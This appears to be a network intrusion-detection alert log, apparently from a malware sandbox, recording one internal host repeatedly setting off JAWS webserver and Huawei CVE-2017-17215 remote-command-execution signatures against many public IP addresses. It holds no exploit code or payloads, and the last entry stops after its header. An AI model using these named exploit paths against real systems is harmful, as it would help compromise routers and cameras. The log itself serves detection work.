ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.227.15.145

Timestamp:	192.168.2.2334.227.15.14544102802030092 03/05/23-19:06:17.444990
SID:	2030092
Source Port:	44102
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.22.74.84

Timestamp:	192.168.2.23104.22.74.8448784802030092 03/05/23-19:07:11.741188
SID:	2030092
Source Port:	48784
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.131.72.25

Timestamp:	192.168.2.2385.131.72.2554528802030092 03/05/23-19:06:24.727077
SID:	2030092
Source Port:	54528
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.61.62

Timestamp:	192.168.2.23197.234.61.6243734372152835222 03/05/23-19:07:11.942790
SID:	2835222
Source Port:	43734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.163.43.115

Timestamp:	192.168.2.23156.163.43.11559260372152835222 03/05/23-19:05:58.738148
SID:	2835222
Source Port:	59260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.202.54.210

Timestamp:	192.168.2.2367.202.54.21041960802030092 03/05/23-19:07:03.570408
SID:	2030092
Source Port:	41960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.154.30.95

Timestamp:	192.168.2.2318.154.30.9548974802030092 03/05/23-19:05:39.518760
SID:	2030092
Source Port:	48974
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.193.93.68

Timestamp:	192.168.2.2318.193.93.6856708802030092 03/05/23-19:06:11.846542
SID:	2030092
Source Port:	56708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.7.30

Timestamp:	192.168.2.23197.192.7.3054924372152835222 03/05/23-19:07:09.707268
SID:	2835222
Source Port:	54924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.152.201.240

Timestamp:	192.168.2.23213.152.201.24048412802030092 03/05/23-19:05:48.732088
SID:	2030092
Source Port:	48412
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.59.2

Timestamp:	192.168.2.23156.254.59.259564372152835222 03/05/23-19:06:45.467167
SID:	2835222
Source Port:	59564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.88.67.70

Timestamp:	192.168.2.23164.88.67.7046718802030092 03/05/23-19:06:48.535322
SID:	2030092
Source Port:	46718
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.220.91.202

Timestamp:	192.168.2.23154.220.91.20236764802030092 03/05/23-19:06:44.041183
SID:	2030092
Source Port:	36764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.235.32.144

Timestamp:	192.168.2.2334.235.32.14435130802030092 03/05/23-19:06:46.797875
SID:	2030092
Source Port:	35130
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.140.180.86

Timestamp:	192.168.2.23193.140.180.8640092802030092 03/05/23-19:07:08.683467
SID:	2030092
Source Port:	40092
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.157.84.117

Timestamp:	192.168.2.2352.157.84.11741292802030092 03/05/23-19:07:18.809590
SID:	2030092
Source Port:	41292
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.83.163.27

Timestamp:	192.168.2.2320.83.163.2744026802030092 03/05/23-19:05:36.774762
SID:	2030092
Source Port:	44026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.161.105.44

Timestamp:	192.168.2.2354.161.105.4458272802030092 03/05/23-19:05:51.059887
SID:	2030092
Source Port:	58272
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 76.128.88.27

Timestamp:	192.168.2.2376.128.88.2739638802030092 03/05/23-19:06:00.354889
SID:	2030092
Source Port:	39638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.105.168.124

Timestamp:	192.168.2.2351.105.168.12446222802030092 03/05/23-19:05:30.750708
SID:	2030092
Source Port:	46222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.7.94.188

Timestamp:	192.168.2.2362.7.94.18852610802030092 03/05/23-19:07:13.778260
SID:	2030092
Source Port:	52610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.39.108.57

Timestamp:	192.168.2.23103.39.108.5733732802030092 03/05/23-19:06:14.797187
SID:	2030092
Source Port:	33732
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.105.43.117

Timestamp:	192.168.2.23104.105.43.11752014802030092 03/05/23-19:05:52.812355
SID:	2030092
Source Port:	52014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.233.166.230

Timestamp:	192.168.2.2318.233.166.23059108802030092 03/05/23-19:06:19.795743
SID:	2030092
Source Port:	59108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.147.84.40

Timestamp:	192.168.2.2361.147.84.4058374802030092 03/05/23-19:06:37.316101
SID:	2030092
Source Port:	58374
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.206.133

Timestamp:	192.168.2.23156.164.206.13346520372152835222 03/05/23-19:06:43.002615
SID:	2835222
Source Port:	46520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.13.121

Timestamp:	192.168.2.23156.224.13.12149568372152835222 03/05/23-19:05:54.344683
SID:	2835222
Source Port:	49568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.39.244.98

Timestamp:	192.168.2.2323.39.244.9856024802030092 03/05/23-19:06:14.550362
SID:	2030092
Source Port:	56024
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.76.249.68

Timestamp:	192.168.2.235.76.249.6849876802030092 03/05/23-19:06:04.700928
SID:	2030092
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 44.224.14.217

Timestamp:	192.168.2.2344.224.14.21737674802030092 03/05/23-19:07:08.701274
SID:	2030092
Source Port:	37674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.151.214.222

Timestamp:	192.168.2.23203.151.214.22257042802030092 03/05/23-19:06:41.106786
SID:	2030092
Source Port:	57042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.147.82.244

Timestamp:	192.168.2.23219.147.82.24432970802030092 03/05/23-19:06:54.414917
SID:	2030092
Source Port:	32970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 73.241.68.176

Timestamp:	192.168.2.2373.241.68.17650028802030092 03/05/23-19:06:50.993782
SID:	2030092
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.42.208.73

Timestamp:	192.168.2.2323.42.208.7355386802030092 03/05/23-19:07:14.318136
SID:	2030092
Source Port:	55386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.167.43

Timestamp:	192.168.2.2341.153.167.4337996372152835222 03/05/23-19:07:07.453505
SID:	2835222
Source Port:	37996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 100.42.29.188

Timestamp:	192.168.2.23100.42.29.18853154802030092 03/05/23-19:05:51.129513
SID:	2030092
Source Port:	53154
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.111.127.179

Timestamp:	192.168.2.2364.111.127.17953546802030092 03/05/23-19:06:58.937428
SID:	2030092
Source Port:	53546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.127.22.193

Timestamp:	192.168.2.23104.127.22.19342760802030092 03/05/23-19:06:17.334119
SID:	2030092
Source Port:	42760
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.24.52.195

Timestamp:	192.168.2.23184.24.52.19539580802030092 03/05/23-19:06:53.556508
SID:	2030092
Source Port:	39580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.0.235.89

Timestamp:	192.168.2.23148.0.235.8933616802030092 03/05/23-19:07:03.596065
SID:	2030092
Source Port:	33616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.224.252

Timestamp:	192.168.2.23156.164.224.25259354372152835222 03/05/23-19:06:17.371909
SID:	2835222
Source Port:	59354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.155.30.100

Timestamp:	192.168.2.2318.155.30.10033518802030092 03/05/23-19:06:40.901136
SID:	2030092
Source Port:	33518
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.16.98.164

Timestamp:	192.168.2.23104.16.98.16436596802030092 03/05/23-19:05:55.724584
SID:	2030092
Source Port:	36596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.63.175.172

Timestamp:	192.168.2.235.63.175.17256338802030092 03/05/23-19:06:14.706825
SID:	2030092
Source Port:	56338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 121.196.36.194

Timestamp:	192.168.2.23121.196.36.19434188802030092 03/05/23-19:05:56.197627
SID:	2030092
Source Port:	34188
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 170.130.122.55

Timestamp:	192.168.2.23170.130.122.5548162802030092 03/05/23-19:06:04.706122
SID:	2030092
Source Port:	48162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 152.67.112.20

Timestamp:	192.168.2.23152.67.112.2035604802030092 03/05/23-19:05:57.909800
SID:	2030092
Source Port:	35604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.165.114

Timestamp:	192.168.2.2341.153.165.11450078372152835222 03/05/23-19:07:22.333778
SID:	2835222
Source Port:	50078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.84.198.111

Timestamp:	192.168.2.2352.84.198.11142904802030092 03/05/23-19:05:33.398925
SID:	2030092
Source Port:	42904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.38.139

Timestamp:	192.168.2.23156.254.38.13957558372152835222 03/05/23-19:06:09.095225
SID:	2835222
Source Port:	57558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 87.248.224.245

Timestamp:	192.168.2.2387.248.224.24551712802030092 03/05/23-19:06:17.353484
SID:	2030092
Source Port:	51712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.195.39.70

Timestamp:	192.168.2.23197.195.39.7042474372152835222 03/05/23-19:07:18.609036
SID:	2835222
Source Port:	42474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.150.231.50

Timestamp:	192.168.2.23194.150.231.5040492802030092 03/05/23-19:05:39.484219
SID:	2030092
Source Port:	40492
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.247.28.2

Timestamp:	192.168.2.23156.247.28.243910372152835222 03/05/23-19:06:09.095172
SID:	2835222
Source Port:	43910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.222.49.90

Timestamp:	192.168.2.23173.222.49.9033736802030092 03/05/23-19:05:36.908421
SID:	2030092
Source Port:	33736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.98.207.46

Timestamp:	192.168.2.2347.98.207.4644046802030092 03/05/23-19:06:18.338516
SID:	2030092
Source Port:	44046
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.56.192.103

Timestamp:	192.168.2.2323.56.192.10356600802030092 03/05/23-19:06:50.569843
SID:	2030092
Source Port:	56600
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.164.239.87

Timestamp:	192.168.2.23156.164.239.8742934372152835222 03/05/23-19:07:22.273355
SID:	2835222
Source Port:	42934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.62.196.92

Timestamp:	192.168.2.2323.62.196.9260762802030092 03/05/23-19:07:08.754111
SID:	2030092
Source Port:	60762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.168.53.187

Timestamp:	192.168.2.2335.168.53.18750094802030092 03/05/23-19:05:36.873933
SID:	2030092
Source Port:	50094
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.84.197.243

Timestamp:	192.168.2.23104.84.197.24341040802030092 03/05/23-19:05:24.932373
SID:	2030092
Source Port:	41040
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.100.50.23

Timestamp:	192.168.2.2395.100.50.2354420802030092 03/05/23-19:05:33.410000
SID:	2030092
Source Port:	54420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.97.18.203

Timestamp:	192.168.2.23104.97.18.20341652802030092 03/05/23-19:05:34.071732
SID:	2030092
Source Port:	41652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.60.194.9

Timestamp:	192.168.2.23207.60.194.954266802030092 03/05/23-19:05:52.983636
SID:	2030092
Source Port:	54266
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.24.1.242

Timestamp:	192.168.2.2352.24.1.24249496802030092 03/05/23-19:05:25.056479
SID:	2030092
Source Port:	49496
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.162.130.128

Timestamp:	192.168.2.23156.162.130.12842258372152835222 03/05/23-19:05:37.295376
SID:	2835222
Source Port:	42258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.48.35

Timestamp:	192.168.2.2323.192.48.3553444802030092 03/05/23-19:06:11.926258
SID:	2030092
Source Port:	53444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.54.34.45

Timestamp:	192.168.2.231.54.34.4559334802030092 03/05/23-19:06:17.671462
SID:	2030092
Source Port:	59334
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.137.83.138

Timestamp:	192.168.2.2345.137.83.13846854802030092 03/05/23-19:05:30.759040
SID:	2030092
Source Port:	46854
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.29.40.63

Timestamp:	192.168.2.2358.29.40.6333630802030092 03/05/23-19:05:37.087252
SID:	2030092
Source Port:	33630
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.34.211.43

Timestamp:	192.168.2.2364.34.211.4337362802030092 03/05/23-19:07:03.353352
SID:	2030092
Source Port:	37362
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.206.115.15

Timestamp:	192.168.2.23168.206.115.1547986802030092 03/05/23-19:06:04.888468
SID:	2030092
Source Port:	47986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.245.74.252

Timestamp:	192.168.2.23195.245.74.25260312802030092 03/05/23-19:05:31.170254
SID:	2030092
Source Port:	60312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.197.175.183

Timestamp:	192.168.2.2323.197.175.18357480802030092 03/05/23-19:06:39.053894
SID:	2030092
Source Port:	57480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.147.237.106

Timestamp:	192.168.2.2366.147.237.10648810802030092 03/05/23-19:06:17.508937
SID:	2030092
Source Port:	48810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.67.226.193

Timestamp:	192.168.2.2393.67.226.19351260802030092 03/05/23-19:06:26.606270
SID:	2030092
Source Port:	51260
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.247.39.224

Timestamp:	192.168.2.23172.247.39.22446216802030092 03/05/23-19:06:30.160963
SID:	2030092
Source Port:	46216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.244.74.96

Timestamp:	192.168.2.2354.244.74.9634044802030092 03/05/23-19:05:33.780916
SID:	2030092
Source Port:	34044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.40.164.99

Timestamp:	192.168.2.2338.40.164.9938018802030092 03/05/23-19:05:36.991936
SID:	2030092
Source Port:	38018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.16.238.121

Timestamp:	192.168.2.23160.16.238.12136152802030092 03/05/23-19:05:40.052752
SID:	2030092
Source Port:	36152
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.163.255.73

Timestamp:	192.168.2.23107.163.255.7355770802030092 03/05/23-19:07:18.875357
SID:	2030092
Source Port:	55770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.77.196

Timestamp:	192.168.2.23156.254.77.19636446372152835222 03/05/23-19:06:39.917504
SID:	2835222
Source Port:	36446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.135.126.55

Timestamp:	192.168.2.2318.135.126.5558338802030092 03/05/23-19:07:05.351893
SID:	2030092
Source Port:	58338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.48.221.32

Timestamp:	192.168.2.2372.48.221.3255564802030092 03/05/23-19:07:16.034667
SID:	2030092
Source Port:	55564
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.167.207.165

Timestamp:	192.168.2.2318.167.207.16537104802030092 03/05/23-19:07:08.924141
SID:	2030092
Source Port:	37104
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.205.138.9

Timestamp:	192.168.2.23116.205.138.941656802030092 03/05/23-19:06:11.962353
SID:	2030092
Source Port:	41656
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.139.47.9

Timestamp:	192.168.2.2383.139.47.957256802030092 03/05/23-19:06:38.883871
SID:	2030092
Source Port:	57256
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.20.219.245

Timestamp:	192.168.2.232.20.219.24542798802030092 03/05/23-19:05:50.927469
SID:	2030092
Source Port:	42798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.129.232.182

Timestamp:	192.168.2.23212.129.232.18255988802030092 03/05/23-19:06:23.121217
SID:	2030092
Source Port:	55988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 133.41.115.41

Timestamp:	192.168.2.23133.41.115.4156422802030092 03/05/23-19:06:39.389370
SID:	2030092
Source Port:	56422
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.172.53

Timestamp:	192.168.2.23104.86.172.5340118802030092 03/05/23-19:06:14.818428
SID:	2030092
Source Port:	40118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.45.9.164

Timestamp:	192.168.2.2323.45.9.16446660802030092 03/05/23-19:07:12.185549
SID:	2030092
Source Port:	46660
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.61.62

Timestamp:	192.168.2.23197.234.61.6243758372152835222 03/05/23-19:07:12.117047
SID:	2835222
Source Port:	43758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 159.69.220.49

Timestamp:	192.168.2.23159.69.220.4960018802030092 03/05/23-19:06:46.819613
SID:	2030092
Source Port:	60018
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.79.41.159

Timestamp:	192.168.2.23120.79.41.15952748802030092 03/05/23-19:06:32.827285
SID:	2030092
Source Port:	52748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.18.28

Timestamp:	192.168.2.23197.199.18.2853558372152835222 03/05/23-19:05:26.815543
SID:	2835222
Source Port:	53558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.3.204.166

